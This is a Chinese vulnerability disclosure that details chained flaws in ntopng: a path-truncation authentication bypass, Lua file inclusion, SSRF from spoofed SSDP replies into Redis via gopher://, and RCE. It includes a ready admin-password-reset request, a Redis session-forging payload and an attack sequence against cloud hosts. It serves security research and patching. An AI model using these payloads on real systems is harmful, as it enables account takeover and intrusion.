作者:Ricter Z@360高級攻防實驗室
原文鏈接:http://noahblog.#/ntopng-multiple-vulnerabilities/

0x00. TL;DR

ntopng 是一套開源的網絡流量監控工具,提供基于 Web 界面的實時網絡流量監控。支持跨平臺,包括 Windows、Linux 以及 MacOS。ntopng 使用 C++ 語言開發,其絕大部分 Web 邏輯使用 lua 開發。

在針對 ntopng 的源碼進行審計的過程中,筆者發現了 ntopng 存在多個漏洞,包括一個權限繞過漏洞、一個 SSRF 漏洞和多個其他安全問題,接著組合利用這些問題成功實現了部分版本的命令執行利用和管理員 Cookie 偽造。

比較有趣的是,利用的過程涉及到 SSDP 協議、gopher scheme 和奇偶數,還有極佳的運氣成分。ntopng 已經針對這些漏洞放出補丁,并在 4.2 版本進行修復。涉及漏洞的 CVE 如下:

  • CVE-2021-28073
  • CVE-2021-28074

0x01. 部分權限繞過 (全版本)

ntopng 的 Web 界面由 Lua 開發,對于 HTTP 請求的處理、認證相關的邏輯由后端 C++ 負責,文件為 HTTPserver.cpp。對于一個 HTTP 請求來說,ntopng 的主要處理邏輯代碼都在 handle_lua_request 函數中。其 HTTP 處理邏輯流程如下:

  1. 檢測是不是某些特殊路徑,如果是直接返回相關邏輯結束函數;
  2. 檢測是不是白名單路徑,如果是則儲存在 whitelisted 變量中;
  3. 檢測是否是靜態資源,通過判斷路徑最后的擴展名,如果不是則進入認證邏輯,認證不通過結束函數;
  4. 檢測是否路徑以某些特殊路徑開頭,如果是則調用 Lua 解釋器,邏輯交由 Lua 層;
  5. 以上全部通過則判斷為靜態文件,函數返回,交由 mongoose 處理靜態文件。

針對一個非白名單內的 lua 文件,是無法在通過認證之前到達的,因為無法通過判斷是否是靜態文件的相關邏輯。同時為了使我們傳入的路徑進入調用 LuaEngine::handle_script_request 我們傳入的路徑需要以 /lua/ 或者 /plugins/ 開頭,以靜態文件擴展名結尾,比如 .css 或者 .js

// HTTPserver.cpp
if(!isStaticResourceUrl(request_info, len)) {
    ...
}

if((strncmp(request_info->uri, "/lua/", 5) == 0)
 || (strcmp(request_info->uri, "/metrics") == 0)
 || (strncmp(request_info->uri, "/plugins/", 9) == 0)
 || (strcmp(request_info->uri, "/") == 0)) {
 ...
12345678910

進入 if 語句后,ntopng 聲明了一個 大小為 255 的字符串數組 來儲存用戶請求的文件路徑。并針對以非 .lua 擴展名結尾的路徑后補充了 .lua,接著調用 stat 函數判斷此路徑是否存在。如果存在則調用 LuaEngine::handle_script_request 來進行處理。

// HTTPserver.cpp
/* Lua Script */
char path[255] = { 0 }, uri[2048];
struct stat buf;
bool found;

...
if(strlen(path) > 4 && strncmp(&path[strlen(path) - 4], ".lua", 4))
    snprintf(&path[strlen(path)], sizeof(path) - strlen(path) - 1, "%s", 
    (char*)".lua");

ntop->fixPath(path);
found = ((stat(path, &buf) == 0) && (S_ISREG(buf.st_mode))) ? true : false;

if(found) {
    ...
    l = new LuaEngine(NULL);
    ...
    l->handle_script_request(conn, request_info, path, &attack_attempt, username,
                             group, csrf, localuser);
1234567891011121314151617181920

ntopng 調用 snprintf 將用戶請求的 URI 寫入到 path 數組中,而 snprintf 會在字符串結尾添加 \0。由于 path 數組長度有限,即使用戶傳入超過 255 個字符的路徑,也只會寫入前 254 個字符,我們可以通過填充 ./ 來構造一個長度超過 255 但是合法的路徑,并利用長度限制來截斷后面的 .css.lua,即可繞過 ntopng 的認證以訪問部分 Lua 文件。

目前有兩個問題,一個是為什么只能用 ./ 填充,另外一個是為什么說是“部分 Lua 文件”。

第一個問題,在 thrid-party/mongoose/mongoose.c 中,進行路徑處理之前會調用下面的函數去除重復的 /以及 .,導致我們只能用 ./ 來填充。

void remove_double_dots_and_double_slashes(char *s) {
    char *p = s;

    while (*s != '\0') {
        *p++ = *s++;
        if (s[-1] == '/' || s[-1] == '\\') {
            // Skip all following slashes, backslashes and double-dots
            while (s[0] != '\0') {
                if (s[0] == '/' || s[0] == '\\') {
                    s++;
                } else if (s[0] == '.' && s[1] == '.') {
                    s += 2;
                } else {
                    break;
                }
            }
        }
    }
    *p = '\0';
}
1234567891011121314151617181920

說部分 Lua 文件的原因為,由于我們只能利用兩個字符 ./ 來進行路徑填充,。那么針對前綴長度為偶數的路徑,我們只能訪問路徑長度為偶數的路徑,反之亦然。因為一個偶數加一個偶數要想成為偶數必然需要再加一個偶數。也就是說,我們需要:

len("/path/to/ntopng/lua/") + len("./") * padding + len("path/to/file") = 255 - 1

0x02. 全局權限繞過 (版本 4.1.x-4.3.x)

其實大多數 ntopng 的安裝路徑都是偶數(/usr/share/ntopng/scripts/lua/),那么我們需要一個合適的 gadgets 來使我們執行任意 lua 文件。通過對 lua 文件的審計,我發現 modules/widgets_utils.lua內存在一個合適的 gadgets:

// modules/widgets_utils.lua
function widgets_utils.generate_response(widget, params)
   local ds = datasources_utils.get(widget.ds_hash)
   local dirs = ntop.getDirs()
   package.path = dirs.installdir .. "/scripts/lua/datasources/?.lua;" .. package.path

   -- Remove trailer .lua from the origin
   local origin = ds.origin:gsub("%.lua", "")

   -- io.write("Executing "..origin..".lua\n")
   --tprint(widget)

   -- Call the origin to return
   local response = require(origin)
1234567891011121314

調用入口在 widgets/widget.lua,很幸運,這個文件名長度為偶數。通過閱讀代碼邏輯可知,我們需要在edit_widgets.lua 創建一個 widget,而創建 widget 有需要存在一個 datasource,在 edit_datasources.lua 創建。而這兩個文件的文件名長度全部為偶數,所以我們可以利用請求這幾個文件,從而實現任意文件包含的操作,從而繞過 ntopng 的認證。

0x03. Admin 密碼重置利用 (版本 2.x)

利用 0x01 的認證繞過,請求 admin/password_reset.lua 即可更改管理員的密碼。

GET /lua/.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f
.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.
%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%
2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2
f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f
.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2fadmin/password_reset.lua.css?confirm_new_
password=123&new_password=123&old_password=0&username=admin HTTP/1.1
Host: 127.0.0.1:3000
Cookie: user=admin
Connection: close
12345678910

0x04. 利用主機發現功能偽造 Session (版本 4.1.x-4.3.x)

ntopng 的主機發現功能利用了 SSDP(Simple Service Discovery Protocol)協議去發現內網中的設備。

SSDP 協議進行主機發現的流程如下所示:

+----------------------+
|      SSDP Client     +<--------+
+-----------+----------+         |
            |                    |
        M-SEARCH          HTTP/1.1 200 OK
            v                    |
+-----------+----------+         |
| 239.255.255.250:1900 |         |
+---+--------------+---+         |
    |              |             |
    v              v             |
+---+-----+  +-----+---+         |
| DEVICES |  | DEVICES |         |
+---+-----+  +-----+---+         |
    |              |             |
    +--------------+-------------+
12345678910111213141516

SSDP 協議在 UDP 層傳輸,協議格式基于 HTTPU(在 UDP 端口上傳輸 HTTP 協議)。SSDP 客戶端向多播地址239.255.255.250 的 1900 端口發送 M-SEARCH 的請求,局域網中加入此多播地址的設備接收到請求后,向客戶端回復一個 HTTP/1.1 200 OK,在 HTTP Headers 里有與設備相關的信息。其中存在一個 Location 字段,一般指向設備的描述文件。

// modules/discover_utils.lua
function discover.discover2table(interface_name, recache)
    ...
    local ssdp = interface.discoverHosts(3)
    ...
    ssdp = analyzeSSDP(ssdp)
    ...

local function analyzeSSDP(ssdp)
   local rsp = {}

   for url,host in pairs(ssdp) do
      local hresp = ntop.httpGet(url, "", "", 3 --[[ seconds ]])
      ...
1234567891011121314

在 discover_utils.lua 中,Lua 會調用 discoverHosts 函數獲取 SSDP 發現的設備信息,然后在analyzeSSDP 函數中請求 Location 頭所指向的 URL。那么這里顯然存在一個 SSRF 漏洞。ntop.httpGet最終調用到的方法為 Utils::httpGetPost,而這個方法又使用了 cURL 進行請求。

// Utils.cpp
bool Utils::httpGetPost(lua_State* vm, char *url, char *username,
            char *password, int timeout,
            bool return_content,
            bool use_cookie_authentication,
            HTTPTranferStats *stats, const char *form_data,
            char *write_fname, bool follow_redirects, int ip_version) {
  CURL *curl;
  FILE *out_f = NULL;
  bool ret = true;

  curl = curl_easy_init();
123456789101112

眾所周知,cURL 是支持 gopher:// 協議的。ntopng 使用 Redis 儲存 Session 的相關信息,那么利用SSRF 攻擊本地的 Redis 即可設置 Session,最終實現認證繞過。

discover.discover2table 的調用入口在 discover.lua,也是一個偶數長度的文件名。于是通過請求此文件觸發主機發現功能,同時啟動一個 SSDP Server 去回復 ntopng 發出的 M-SEARCH 請求,并將 Location設置為如下 payload:

gopher://127.0.0.1:6379/_SET%20sessions.ntop%20%22admin|...%22%0d%0aQUIT%0d%0a

最終通過設置 Cookie 為 session=ntop 來通過認證。

0x05. 利用主機發現功能實現 RCE (版本 3.8-4.0)

原理同 0x04,利用點在 assistant_test.lua 中,需要設置 ntopng.prefs.telegram_chat_id 以及 ntopng.prefs.telegram_bot_token,利用 SSRF 寫入 Redis 即可。

local function send_text_telegram(text) 
  local chat_id, bot_token = ntop.getCache("ntopng.prefs.telegram_chat_id"), 
  ntop.getCache("ntopng.prefs.telegram_bot_token")

    if( string.len(text) >= 4096 ) then 
      text = string.sub( text, 1, 4096 )
    end

    if (bot_token and chat_id) and (bot_token ~= "") and (chat_id ~= "") then 
      os.execute("curl -X POST  https://api.telegram.org/bot"..bot_token..
      "/sendMessage -d chat_id="..chat_id.." -d text=\" " ..text.." \" ")
      return 0

    else
      return 1
    end
end
1234567891011121314151617

0x06. 利用主機發現功能實現 RCE (版本 3.2-3.8)

原理同 0x04,利用點在 modules/alert_utils.lua 中,需要在 Redis 里設置合適的 threshold。

local function entity_threshold_crossed(granularity, old_table, new_table, threshold)
   local rc
   local threshold_info = table.clone(threshold)

   if old_table and new_table then -- meaningful checks require both new and old tables
      ..
      -- This is where magic happens: load() evaluates the string
      local what = "val = "..threshold.metric.."(old, new, duration); if(val ".. op .. " " ..
       threshold.edge .. ") then return(true) else return(false) end"

      local f = load(what)
      ...
12345678910111213

0x07. 在云主機上進行利用

SSDP 通常是在局域網內進行數據傳輸的,看似不可能針對公網的 ntopng 進行攻擊。但是我們根據 0x04 中所提及到的 SSDP 的運作方式可知,當 ntopng 發送 M-SEARCH 請求后,在 3s 內向其隱式綁定的 UDP 端口發送數據即可使 ntopng 成功觸發漏洞。

// modules/discover_utils.lua: local ssdp = interface.discoverHosts(3) <- timeout
if(timeout < 1) timeout = 1;

tv.tv_sec = timeout;
tv.tv_usec = 0;
..

while(select(udp_sock + 1, &fdset, NULL, NULL, &tv) > 0) {
    struct sockaddr_in from = { 0 };
    socklen_t s = sizeof(from);
    char ipbuf[32];
    int len = recvfrom(udp_sock, (char*)msg, sizeof(msg), 0, (sockaddr*)&from, &s);
    ..
12345678910111213

針對云主機,如 Google Compute Engine、騰訊云等,其實例的公網 IP 實際上是利用 NAT 來進行與外部網絡的通信的。即使綁定在云主機的內網 IP 地址上(如 10.x.x.x),在流量經過 NAT 時,dst IP 也會被替換為云主機實例的內網 IP 地址,也就是說,我們一旦知道其與 SSDP 多播地址 239.255.255.250 通信的 UDP 端口,即使不在同一個局域網內,也可以使之接收到我們的 payload,以觸發漏洞。

針對 0x04,我們可以利用 rest/v1/get/flow/active.lua 來獲取當前 ntopng 服務器與 239.255.255.250 通信的端口,由于這個路徑長度為奇數,所以我們需要利用 0x02 中提及到的任意 lua 文件包含來進行利用。

同時,由于 UDP 通信的過程中此端口是隱式綁定的,且并沒有進行來源驗證,所以一旦獲取到這個端口號,則可以向此端口發送 SSDP 數據包,以混淆真實的 SSDP 回復。需要注意的是,需要在觸發主機功能的窗口期內向此端口發送數據,所以整個攻擊流程如下:

  1. 觸發主機發現功能;
  2. 循環請求 rest/v1/get/flow/active.lua 以獲取端口;
  3. 再次觸發主機發現功能;
  4. 向目標從第 2 步獲取到的 UDP 端口發送 payload;
  5. 嘗試利用 Cookie 進行登錄以繞過認證。

針對 0x05,我們可以利用 get_flows_data.lua 來獲取相關的 UDP 端口,原理不再贅述。

0x07. Conclusion

為什么出問題的文件名長度都是偶數啊.jpg


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1599/